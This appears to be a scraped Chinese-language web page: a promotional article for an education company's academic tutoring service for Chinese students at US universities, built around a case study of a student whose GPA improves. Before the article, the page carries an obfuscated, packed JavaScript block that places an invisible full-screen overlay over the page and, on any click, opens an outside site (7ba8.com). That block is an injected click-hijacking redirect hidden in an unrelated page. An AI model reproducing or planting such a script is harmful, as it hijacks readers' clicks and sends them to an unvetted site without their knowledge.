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<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>大部分的中国学生跟家长, 长期以来的固定思维是,只要完成高考进入大学就可以了。所以中国大学生大多是应付式过日子, 而家长也不会太在意孩子大学期间是否认真学习。然而与国内传统的高等教育不同，美国大学一直都秉承着宽进严出的原则跟宗旨，学生从成为学生的第一天起，就需要保持一个良好的学习态度以及科学有效的学习方法，才能较好地适应快节奏高强度的美国大学学习。在这种巨大的教育体系差异下，像厚仁教育提供的这类学术辅导更体现了其对提高学生成绩存在的价值跟为其规划合理学术蓝图的重要性。简单明了地说，学术辅导就是类似于我们中学甚至是小学时代参加的一些辅导班，或者家教。中国学生大多对此是不陌生的。事实上,美国也会有类似的辅导, 但与国内不同的是较少为了教学生考试而教。中国学生在刚进入美国教育体系时,大多会有一个不适应期, 这时候如果有一个可以指导学生，认识美国学习规则和学习模式, 帮学生找到自己的弱势学科跟不足的老师，是有相当益处的。当然，如果学生是一个基础知识非常扎实，自身条件也非常优越，那便是一种锦上添花的作用了。成绩不错的同学经过学术辅导和课程规划，可以转学到名校，也可以更轻松地完成学分要求。从类别上来说，厚仁目前提供三大类学术辅导，常规学术辅导(就是配合学生正常课程提供配套的辅导)、正轨学术辅导(学生在课程上有一些困难，需要学术辅导进行提高)还有一种就是专项学术辅导（包括单科辅导和考前突击）。 举个例子吧, 一朋友孩子, 高中时期就读于北京的一所重点高中，从高一开始朋友就为其开始规划本科留学于美国的道路，通过一系列的托福、SAT辅导，这孩子在两项考试当中都取得了比较满意的分数，托福成绩104，SAT成绩2080，从这些硬件条件来说，他毫无疑问可以获得美国排名前50，甚至前30的录取，所以在高中毕业之后，孩子便去了UIUC（伊利诺伊大学香槟分校）就读金融专业。很多人都会自然认为这孩子会获得高分成绩, 并且在很大程度上说明他有一个非常扎实的基础，尤其在语言方面适应起来应该不会有问题；但事实上, 虽然孩子一直努力学习，也像中学时候那样预习复习，但学习效率很一般，甚至有时候看了几个小时的课本却完全不知道在说什么。这是每个刚来美国学生都会遇到的困难，或者说是瓶颈，但是找到一个行之有效的科学方法是最重要的。这孩子刚来美国时候，跟他以及他家人提醒过中美学习差异。可惜都没有高度重视这个问题，最后在学期结束的时候孩子只获得了1.27的GPA，随之而来的还受到了学校发放的学术警告信，如果他在接下来一个学期无法把整体的GPA提高到2.0以上的话将被劝退。后来厚仁的学术辅导部门给孩子分配了一个同样美国本科金融毕业的名校高材生, 帮助他制定课程安排计划, 规划了第二学期的课程，并把之前学期的课重修了两门。在经过一个学期规律安排的学术辅导，步步为营的计划，又为他制定了非常详尽的学习计划跟中长期的路线，提前半年多为他进行了一个选课计划分析，同时也提供深度的计划跟踪确保每一项都在规划之内。厚仁的学术辅导老师会实时地督促他在不同课程上需要的一些表现；最重要的是，会高频率地跟他保持沟通，不管是学术上的疑问还是生活上的顾虑，也每两周都会给出一个进度报告更加直观地反应他的提升; 最终在第二学期结束的时候，孩子成功地将GPA提高到了2.8，并且在厚仁学术辅导老师的建议之下继续辅导他第三第四学期的课程，最后在大二结束的时候，他的GPA保持在了3.62一个非常优异的成绩上。 |
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